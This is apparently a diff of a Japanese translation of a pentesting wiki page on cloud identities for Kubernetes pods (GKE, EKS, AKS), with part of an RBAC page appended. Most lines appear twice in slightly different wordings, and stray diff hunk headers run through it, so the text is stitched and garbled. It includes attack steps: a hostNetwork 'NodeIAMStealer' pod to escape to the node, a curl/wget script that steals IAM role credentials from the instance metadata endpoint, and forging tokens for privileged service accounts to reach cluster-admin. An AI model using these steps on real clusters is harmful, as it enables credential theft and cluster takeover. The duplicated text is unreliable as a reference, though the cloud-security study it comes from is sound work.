GCP 内で k8s クラスターを稼働させている場合、クラスター内で動作するアプリケーションに GCP へのアクセスを与えたいことが多いです。これを実現する一般的な方法は 2 つあります:
GCP 内で k8s cluster を実行している場合、cluster 内で動作している一部の application に GCP へのアクセス権を持たせたいはずです。これを行う一般的な方法は 2 つあります:
### Mounting GCP-SA keys as secret
Kubernetes アプリケーションに GCP へのアクセスを与える一般的な方法は次のりです:
**kubernetes application to GCP** にアクセスを与える一般的な方法は次のとおりです:
- Create a GCP Service Account
- Bind on it the desired permissions
- Download a json key of the created SA
- Mount it as a secret inside the pod
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
- GCP Service Account を作成する
- 必要な permissions をそれに bind する
- 作成した SA の json key をダウンロードする
- pod 内に secret として mount する
- GOOGLE_APPLICATION_CREDENTIALS environment variable を、json が置かれている path を指すように設定する
> [!WARNING]
> したがって、**attacker** としてpod 内のコンテナを侵害した場合は、GCP 資格情報を含む **env** **variable** **json** **files** がないか確認するべきです。
> したがって、**attacker** として pod 内の container を compromise した場合は、この **env** **variable** と GCP credentials を含む **json** **files** 確認するべきです。
### Relating GSA json to KSA secret
GSA に GKE cluser へのアクセスを与える方法のつは、次のようにそれらをバインドすることです:
GSA に GKE cluser への access を与える方法の 1 つは、次のように bind することです:
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
- 次の command を使用して、GKE cluster と同じ namespace に Kubernetes service account を作成する:
```bash
kubectl create serviceaccount <service-account-name>
```
- Kubernetes Secret を作成し、GKE cluster アクセスを付与したい GCP service account の認証情報を含めます。これは `gcloud` コマンドラインツールを使用して行えます。以下の例を参照してください:
- GKE cluster へのアクセスを付与したい GCP service account の credentials を含む Kubernetes Secret を作成します。以下の例に示すように、`gcloud` command-line tool を使ってこれを行うことができます:
```bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
```
- のコマンドを使用して Kubernetes Secret を Kubernetes service account にバインドします:
- 以下のコマンドを使用してKubernetes Secret を Kubernetes service account に bind します:
```bash
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> **second step**で、**credentials of the GSA as secret of the KSA** が設定されました。したがって、もし **read that secret****inside****GKE** クラスタから読み取ることができれば、**escalate to that GCP service account** できます。
> **2番目のステップ**で、**GSAのcredentials**が**KSAのsecret**として設定されました。したがって、**GKE** clusterの**内側**からその**secret**を**read**できれば、その**GCP service account**に**escalate**できます。
### GKE Workload Identity
Workload Identity を使用すると、a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) として動作させるように設定できます。Kubernetes service account を使って実行される Pods は、Google Cloud APIsアクセスする際に自動的に Google service account として認証されます。
Workload Identityを使と、[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts)として動作るように設定できます。Kubernetes service accountで実行中のPodsは、Google Cloud APIsアクセスする際に自動的にGoogle service accountとしてauthenticateします。
The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.
この動作を有効化するための**最初の一連のステップ**は、GCPでWorkload Identityを**enable**すること([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c))と、k8sにimpersonateさせたいGCP SAを作成することです。
- **Enable Workload Identity** on a new cluster
- 新しい clusterで**Enable Workload Identity**
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **新しい nodepool を作成/更新** (Autopilot clusters では不要)
- **新しい nodepool を作成/更新する** (Autopilot clusters では不要)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- K8sからGCPの権限を持つ **GCP Service Account to impersonate** を作成する:
- GCP permissions を持つ K8s から impersonate するための **GCP Service Account** を作成する:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **クラスタ**に**接続**して、使用する**サービスアカウント**を**作成**する
- **cluster****Connect** し、使用する **service account****create** する
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -80,7 +80,7 @@ kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **GSAをKSAにバインドする**
- **GSA を KSA に Bind する**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- **pod****KSA** 実行し、**GSA:** への **access** を確認する
- **KSA**使って **pod** 実行し、**GSA:** への **access** を確認する:
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
必要に応じて認証するために、以下のコマンドを確認してください
認証が必要な場合は、次のコマンドを確認してください:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> K8s 内の攻撃者としては **SAs を検索する**べきです(`iam.gke.io/gcp-service-account` アノテーションを持つもの)。これはその SA が GCP の何かにアクセスできることを示しています。別の方法として、クラスタ内の各 KSA を悪用できないか試し、それがアクセスできるか確認することもあります。\
> GCP 側からは、bindings を列挙して、**Kubernetes 内の SAs にどのようなアクセスを与えているか**を把握することが常に重要です。
> K8s 内の攻撃者として、**`iam.gke.io/gcp-service-account` annotation** を持つ **SAs****search** すべきです。これはその SA が GCP の何かにアクセスできることを示します。別の方法としては、cluster 内の各 KSA を悪用して、アクセス権があるかどうか確認することす。\
> GCP 側からは、bindings を列挙して、**Kubernetes 内の SAs にどの access を与えているか** を把握するが常に有用です。
これはその **annotation** を探すために、全ての pods 定義を簡単に **iterate** するスクリプトです:
これは、**all the pods** の定義を簡単に **iterate over** して、その **annotation****looking** するための script です:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
PodIAM Rolesを付与する(時代遅れの)方法の一つは、[**Kiam**](https://github.com/uswitch/kiam) または [**Kube2IAM**](https://github.com/jtblin/kube2iam) の**server.**を使うことです。基本的には、クラスター内で**daemonset**を**ある種の特権的なIAM role**の権限で実行する必要があります。このdaemonsetが、必要とするPodに対してIAM rolesへのアクセスを付与します。
Pods に IAM Roles を付与する (古い) 方法は、[**Kiam**](https://github.com/uswitch/kiam) または [**Kube2IAM**](https://github.com/jtblin/kube2iam) の **server.** を使うことです。基本的には、クラスター内で **特権的な IAM role** のようなものを持つ **daemonset**実行する必要があります。この daemonset が、必要とする pods に IAM roles へのアクセスを与えるものになります。
まず、**namespace内でどのrolesにアクセスできるか**を設定する必要がありこれはnamespaceオブジェクト内のannotation行います
まず最初に、**namespace 内でどの roles にアクセスできるか** を設定する必要があります。これは namespace オブジェクト内の annotation を使って行います:
```yaml:Kiam
kind: Namespace
metadata:
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
namespace が IAM roles で設定され、Pods に付与可能になったら、各 pod 定義に対して **指定したい role を次のように示すことができます**:
namespace が IAM roles で設定されると、Pods は以下のように各 pod 定義で **希望する role を指定**できます:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
@@ -171,12 +171,12 @@ annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> 攻撃者として、もし pods や namespaces に**これらの注釈を見つけ**たり、kiam/kube2iam サーバーが実行されている(おそらく kube-system に)場合、に pods によって**使用されている**すべての role を**なりすます**ことができ、さらに多くのことが可能になります(AWS アカウントにアクセスできる場合はロールを列挙してください)。
> 攻撃者として、pods や namespaces の中でこれらの annotations を**見つけ**場合、または動作中の kiam/kube2iam server(おそらく kube-system 内)を見つけた場合、すでに pods によって**使れている**すべての r ole とそれ以上を**impersonate** できます(AWS account にアクセスできるなら roles を列挙してください)。
#### IAM Role を持つ Pod の作成
#### Create Pod with IAM Role
> [!NOTE]
> 指定する IAM role は kiam/kube2iam role と同じ AWS アカウント内に存在し、その role からアクセスできる必要があります
> 指定する IAM role はkiam/kube2iam role と同じ AWS account にある必要があり、その role はそれにアクセスできなければなりません
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -192,14 +192,14 @@ image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### OIDC 経由の K8s Service Accounts 用 IAM Role <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
これは **AWS によって推奨される方法** です。
これは **AWS 推奨の方法** です。
1. まず最初に、[create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html) を作成する必要があります。
1. まず、[クラスタ用の OIDC provider を作成](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)する必要があります。
2. 次に、SA が必要とする権限を持つ IAM role を作成します。
3. [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) を作成します(または namespace を指定して、その namespace 内のすべての SA にロールへのアクセスを与えることもできます)。_信頼関係では主に OIDC provider 名、namespace 名、SA 名が検証されます_。
4. 最後に、**ロールの ARN を示す annotation を付けた SA を作成します**。その SA で実行される podsロールの **token へアクセス** できます。**token** はファイルに **書き込まれ**パス**`AWS_WEB_IDENTITY_TOKEN_FILE`** で指定されます(デフォルト: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`
3. [IAM role SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) 名の間に trust relationship を作成します(または、その namespace 内のすべての SA に role へのアクセスを与える namespace を指定します)。_trust relationship は主に OIDC provider 名、namespace 名、SA 名を確認します_。
4. 最後に、**role の ARN を示す annotation 付きで SA を作成**します。すると、その SA で動作する pod は **role の token へ access** できます。**token** はファイル**書き込まれ**その path **`AWS_WEB_IDENTITY_TOKEN_FILE`** で指定されます(default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
@@ -216,27 +216,27 @@ kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
`/var/run/secrets/eks.amazonaws.com/serviceaccount/token` から **トークンを使って aws を取得する** には、次を実行します:
`/var/run/secrets/eks.amazonaws.com/serviceaccount/token` トークンを使って **aws を取得する** には、次を実行します:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> 攻撃者としてK8s クラスタを列挙できる場合は、**service accounts with that annotation** を確認して **escalate to AWS** できるか調べてください。これを行うには、IAM の **privileged service accounts**いずれかを使って **exec/create****pod** を起動し、token を盗むだけです。
> 攻撃者として K8s cluster を列挙できるなら、その annotation が付いた **service accounts** を確認して **AWS****escalate**てください。そのためには、IAM の **privileged service accounts**1つを使って **exec/create****pod** を起動し、token を盗むだけです。
>
> さらに、pod にいる場合は、**AWS_ROLE_ARN** や **AWS_WEB_IDENTITY_TOKEN** のような環境変数を確認してください。
> さらに、pod の中にいる場合は、**AWS_ROLE_ARN** や **AWS_WEB_IDENTITY_TOKEN** のような env variables を確認してください。
> [!CAUTION]
> 場合によっては、**Turst Policy of a role** が **bad configured** になっており、期待され service account に AssumeRole アクセスを与える代わりに **all the service accounts**付与してしまうことがあります。したがって、制御下 service account に annotation を書き込むことができれば、その role にアクセスできます。
> 場合によっては、role の **Turst Policy****bad configured** で、想定され service account に AssumeRole access を与える代わりに**all the service accounts** に与えてしまうことがあります。したがって、制御下にある service account に annotation を書き込めるなら、その role に access できます。
>
> 詳細は以下のページを確認してください
> 詳細は **following page** を確認してください:
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### クラスタ内で IAM Roles を持つ Pods と SAs を見つける
### Cluster 内で IAM Roles を持つ Pods と SAs を探す
これは、**iterate over the all the pods and sas** definitions **looking** for that **annotation** を簡単に行うスクリプトです:
これは、すべての pods sas の定義を簡単に **iterate over** して、その **annotation****looking** するための script です:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -255,23 +255,26 @@ done | grep -B 1 "amazonaws.com"
```
### Node IAM Role to cluster-admin
The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have an IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).
前のセクションでは pod を使って IAM Roles を盗む方法について説明しましたが、**K8s cluster の Node は cloud 内の instance である**ことに注意してください。つまり、その Node は高い確率で**盗める IAM role を持っている**ことになります(_通常、K8s cluster のすべての node は同じ IAM role を持つため、各 node を個別に確認する価値はあまりないかもしれません_)。
- pod の中にいて、metadata endpoint が少なくとも 2 tcp hops を通るように設定されていること。これは最も一般的なミスコンフィグで、通常クラスター内の異なる pods が metadata endpoint へのアクセスを必要とし、いくつかの企業は単にクラスター内のすべての pods から metadata endpoint へのアクセスを許可してしまうためです
- `hostNetwork` が有効な pod の中にいること
- Node にエスケープして、metadata endpoint に直接アクセスすること。
node metadata endpoint アクセスするには、以下が必要です:
- pod 内にいて、metadata endpoint が少なくとも 2 tcp hops に設定されていること。これは最も一般的な misconfiguration です。通常、cluster 内の異なる pod は壊れないように metadata endpoint へのアクセスを必要とし、複数の会社が cluster 内のすべての pod から metadata endpoint へのアクセスを許可することを単純に決めています
- `hostNetwork` が有効な pod 内にいること。
- node に escape して、metadata endpoint に直接アクセスすること。
(注:metadata endpoint はいつもどおり 169.254.169.254 です)
(なお、metadata endpoint はいつものように 169.254.169.254 にあります)
To **escape to the node** you can use the following command to run a pod with `hostNetwork` enabled:
新しい EKS 環境では、pod が node instance profile に到達できると決めつける前に、node と cluster mode を確認してください。Amazon Linux 2023 EKS optimized AMIs では IMDS hop limit のデフォルトは 1 であり、EKS Auto Mode では `disablePodIMDS` がデフォルトで有効です。そのため、operator がこれらの設定を変更していない限り、または pod `hostNetwork` や node compromise のような別の node-level path を持っていない限り、通常の pod は node-role credentials を受け取るべきではありません。推奨されるパターンは、pod から node IMDS へのアクセスをブロックし、workload の AWS permissions には IRSA または EKS Pod Identity を使うことです。
**node に escape する**には、`hostNetwork` を有効にした pod を実行するために次のコマンドを使えます:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Steal IAM Role Token
### IAM Role Token を Steal する
以前、**attach IAM Roles to Pods** の方法や、インスタンスにアタッチされている **escape to the Node to steal the IAM Role** 方法について説明しました。
以前、**IAM Roles Pods に attach する**方法や、さらに **Node に escape して、そのインスタンスに attach されている IAM Role を steal する**方法について説明しました。
以下のスクリプトを使って、苦労して手に入れた新しい **IAM role credentials****steal** できます:
次の script を使って、苦労して手に入れた新しい **IAM role credentials****steal** できます:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
@@ -284,21 +287,66 @@ fi
```
### Privesc to cluster-admin
すると: pod から **access the EKS Node IAM role** が可能であれば、**compromise the full kubernetes cluster** が可能です。
要するに、もし pod から **EKS Node IAM role** に**アクセス**できるなら、**kubernetes クラスタ全体を compromise** することが可能です。
詳細は [this post](https://blog.calif.io/p/privilege-escalation-in-eks) を参照してください。概要として、EKS ノードにデフォルトで割り当てられる IAM ロールは、クラスター内で `system:node` ロールとして割り当てられます。このロールは非常に興味深いものですが、kubernetes の [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) によって制限されていす。
詳細は [this post](https://blog.calif.io/p/privilege-escalation-in-eks) を確認してください。要約すると、デフォルトで EKS nodes に割り当てられる default の IAM EKS role は、cluster 内で `system:node` role として割り当てられます。この role は kubernetes の [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) によって制限されているものの、非常に興味深いものです。
しかし、node は常にノード内で動作している pods に紐づく service accounts のため **generate tokens for service accounts** ことができます。したがって、ノードが privileged service account を持つ pod を実行している場合、ノードはその service account のトークンを生成し、それを使ってその service account を偽装できます。例は次のとおり:
しかし、node は常に、その node 内で動作している pod 上の service accounts のための token を **generate** できます。したがって、node が privileged service account を持つ pod を実行している場合、node はその service account の token を generate し、それを使って次のように service account を impersonate できます:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
```
## 参考文献
## Azure / AKS
AKSでは、評価中に3つのidentity pathを分離して保つ:
- **Azure to Kubernetes**: Azure principalsは、Azure RBAC roleが許可していれば、Azure Resource Manager経由でuserまたはadmin kubeconfigsを取得できる。`az aks get-credentials --admin` で取得するlocal admin kubeconfigsはcertificate-based credentialsであり、local accountsが無効化されていない限り、通常のMicrosoft Entra user/group governanceを回避できる。
- **Microsoft Entra to Kubernetes**: Entra-integrated clustersは、`kubelogin`/exec kubeconfigsを通じてusers、groups、またはservice principalsをauthenticateする。最終的なKubernetes actionは、native Kubernetes RBACまたはAzure RBAC for Kubernetes Authorizationでauthorizeされる。
- **Kubernetes to Azure**: Podsは通常、Microsoft Entra Workload IDを使用するべきであり、これはprojected Kubernetes service account tokensをAKS OIDC issuerおよびfederated identity credentialsを通じてEntraとexchangeする。
Azureからの有用なAKS identity checks:
```bash
az aks show -g <resource-group> -n <cluster> \
--query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \
-o yaml
AKS_ID=$(az aks show -g <resource-group> -n <cluster> --query id -o tsv)
az role assignment list --scope "$AKS_ID" --include-inherited -o table
az role assignment list --scope "$AKS_ID/namespaces/<namespace>" -o table
```
Kubernetes から、AKS Workload ID のシグナルを検索します:
```bash
kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8
```
関連する Workload ID フィールドは通常、次のとおりです:
```yaml
metadata:
annotations:
azure.workload.identity/client-id: "<application-or-managed-identity-client-id>"
azure.workload.identity/tenant-id: "<tenant-id>"
---
metadata:
labels:
azure.workload.identity/use: "true"
```
クラスターがまだ非推奨の Microsoft Entra pod-managed identity モデルを使用している場合は、Workload ID の annotations の代わりに、古い CRD と NMI/MIC components を探してください:
```bash
kubectl get crd | grep -i azureidentity
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
```
AKS nodes は Azure VM scale set のインスタンスなので、node または host-level access により Azure Instance Metadata Service を `169.254.169.254` で露出させる可能性があります。通常の pod が node managed identity credentials を受け取ると決めつけないでください: workload identity settings、legacy pod identity/NMI の挙動、hostNetwork の使用状況、network controls、そして node access を先に確認してください。node identity に広範な Azure permissions がある場合、application Workload ID が正しくスコープされていても、node compromise が Azure pivot になり得ます。
## References
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
{{#include ../../banners/hacktricks-training.md}}
@@ -4,33 +4,33 @@
## Role-Based Access Control (RBAC)
Kubernetes には、API server への利用権限を設定するのに役立つ **authorization module named Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) があります。
Kubernetes には、API server への利用権限を設定するのに役立つ **Role-Based Access Control** という **authorization module** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) があります。
RBAC の permission model は、**3つの個別の部分**で構成されています:
RBAC の permission model は、**3つの個別の要素**で構成されています:
1. **Role\ClusterRole ** 実際の permission。permission の集合を表す _**rules**_ を含みます。各 rule は [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) と [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) が含まれます。verb は resource に対して適用される action です。
2. **Subject (User, Group or ServiceAccount) ** permission を受け取る object。
3. **RoleBinding\ClusterRoleBinding ** Role\ClusterRole と subject の間の connection。
1. **Role\\ClusterRole ** 実際の permission。これは、permissionsセットを表す _**rules**_ を含みます。各 rule は [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) と [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) を含みます。verb は resource に対して適用される action です。
2. **Subject (User, Group or ServiceAccount) ** permissions を受け取る object。
3. **RoleBinding\\ClusterRoleBinding ** Role\\ClusterRole と subject の間の connection。
![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png)
“**Roles**” と “**ClusterRoles**” の違いは、role がどこに適用されるかだけです “**Role**” は **1つの** **specific** **namespace** にのみ access を付与し、 “**ClusterRole**” は cluster 内の **すべての namespaces** で使用できます。さらに、**ClusterRoles** は次のものへの access も付与できます:
“**Roles**” と “**ClusterRoles**” の違いは、role がどこに適用されるかだけです “**Role**” は **1つの** **特定の** **namespace** にのみ access を付与しますが、 “**ClusterRole**” は cluster 内の **すべての namespaces** で使用できます。さらに、**ClusterRoles** は以下への access も付与できます:
- **cluster-scoped** resourcesnodes など)。
- **non-resource** endpoints/healthz など)。
- namespaced resourcesPods など)、**すべての namespaces にわたって**
- namespaced resourcesPods など)、**すべての namespaces** にわたって。
**Kubernetes** 1.6 以降、**RBAC** policies は **enabled by default** です。しかし、RBAC を有効するには次のようなものを使ます:
**Kubernetes** 1.6 以降、**RBAC** policies は **デフォルトで有効**です。ただし、RBAC を有効するには次のようなものを使用できます:
```
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
```
## Templates
**Role** または **ClusterRole**テンプレートでは、**roleのname**、**namespace**rolesでは)、そしてそのroleの **apiGroups**、**resources**、**verbs** を指定する必要があります:
**Role** または **ClusterRole** template では、**roleの名前**、**namespace**roles の場合)、そして role **apiGroups**、**resources**、**verbs** を指定する必要があります:
- **apiGroups** は、この rule が適用される異なる **API namespaces** を含む配列です。例えば、Pod の定義は apiVersion: v1 を使います。_rbac.authorization.k8s.io や \[\*] などの値を持つことがあります_.
- **resources** は、この rule がどの **resources** に適用されるかを定義する配列です。すべての resources は次で確認できます: `kubectl api-resources --namespaced=true`
- **verbs** は、許可され**verbs** を含む配列です。Kubernetes における verb は、resource に適用する必要がある **action の種類** を定義します。例えば、list verb は collections に対して使われ、"get" は単一の resource に対して使われます。
- **apiGroups** は、この rule が適用される異なる **API namespaces** を含む array です。例えば、Pod の definition は apiVersion: v1 を使います。_rbac.authorization.k8s.io や \[\*] のような値を持つことができます_
- **resources** は、この rule がどの **resources に適用されるか** を定義する array です。すべての resources は次のコマンドで確認できます: `kubectl api-resources --namespaced=true`
- **verbs** は、**許可されverbs** を含む array です。Kubernetes における verb は、resource に対して適用する必要がある **action の種類** を定義します。例えば、list verb は collection に対して使われ、"get" は単一の resource に対して使われます。
### Rules Verbs
@@ -44,14 +44,14 @@ kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
Kubernetes は、specialized verbs を使って追加の permissions に対する authorization を時々チェックします。例えば:
Kubernetes は、specialized verbs を使って追加の permissions に対する authorization を確認することがあります。例えば:
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
- `policy` API group の `podsecuritypolicies` resources に対する `use` verb.
- `policy` API group の `podsecuritypolicies` resources に対する `use` verb
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
- `rbac.authorization.k8s.io` API group の `roles``clusterroles` resources に対する `bind` および `escalate` verbs.
- `rbac.authorization.k8s.io` API group の `roles``clusterroles` resources に対する `bind` `escalate` verbs
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
- core API group の `users``groups``serviceaccounts`、および `authentication.k8s.io` API group の `userextras` に対する `impersonate` verb.
- core API group の `users``groups``serviceaccounts` に対する `impersonate` verb、そして `authentication.k8s.io` API group の `userextras`
> [!WARNING]
> `kubectl api-resources --sort-by name -o wide` を実行すると、**各 resource がサポートするすべての verbs** を確認できます
@@ -80,15 +80,15 @@ rules:
resources: ["secrets"]
verbs: ["get", "watch", "list"]
```
えば、特定のユーザーが実行できるようにするために **ClusterRole** を使用できます:
たとえば、**ClusterRole** を使用して特定のユーザーに次を実行する権限を与えることができます:
```
kubectl get pods --all-namespaces
```
### **RoleBinding and ClusterRoleBinding**
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding は、role 定義された権限をユーザーまたはユーザーのセットに付与する**。これは subjectusers、groups、または service accounts)のリストと、付与される role への参照を保持する。**RoleBinding** は特定の **namespace** 内で権限を付与し、一方 **ClusterRoleBinding** はそのアクセス**cluster-wide** に付与す
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding は、role 定義された権限を user または user の集合に付与します**。これは subjectsusers、groups、または service accounts)のリストと、付与される role への reference を保持します。**RoleBinding** は特定の **namespace** 内で権限を付与するのに対し、**ClusterRoleBinding** はその access **cluster-wide** に付与します。
```yaml:RoleBinding
piVersion: rbac.authorization.k8s.io/v1
apiVersion: rbac.authorization.k8s.io/v1
# This role binding allows "jane" to read pods in the "default" namespace.
# You need to already have a Role named "pod-reader" in that namespace.
kind: RoleBinding
@@ -122,9 +122,33 @@ kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
```
**Permissions are additive** なので、もし clusterRole に “listdelete” secrets があれば、Role に “get” を追加できます。なので注意し、常に自分の roles と permissions をテストし、**何が ALLOWED されるのかを明確に指定してください。なぜなら、デフォルトではすべて DENIED されるからです。**
**Permissions are additive** なので、`list``delete``secrets` を持つ `clusterRole` があれば、`get` を持つ `Role` を追加できます。なので注意し、常に役割と permissions をテストし、**何が ALLOWED かを指定してください。なぜなら、デフォルトではすべて DENIED からです。**
## **Enumerating RBAC**
### 詳細で確認すべき点
RBAC は YAML の `kind` ではなく、API URL に表示される resource names を使います。Pod は `pods`、Deployment は `deployments` で、subresources は `pods/log``pods/exec``pods/portforward``pods/ephemeralcontainers``deployments/scale``serviceaccounts/token``nodes/proxy``services/proxy` のようにスラッシュ付きで書かれます。`pods` への permission は、`pods/exec``pods/log` への access を自動的には与えません。
`resourceNames` は、いくつかの requests を特定の object names に制限できます:
```yaml
rules:
- apiGroups: [""]
resources: ["configmaps"]
resourceNames: ["app-config"]
verbs: ["get", "update"]
```
これは、最上位の `create``deletecollection` を名前で制限しません。`list``watch` では、クライアントは一致する `metadata.name` フィールドセレクタを含める必要があります。そうしないと、そのルールによってリクエストは認可されません:
```bash
kubectl get configmaps -n default --field-selector=metadata.name=app-config
```
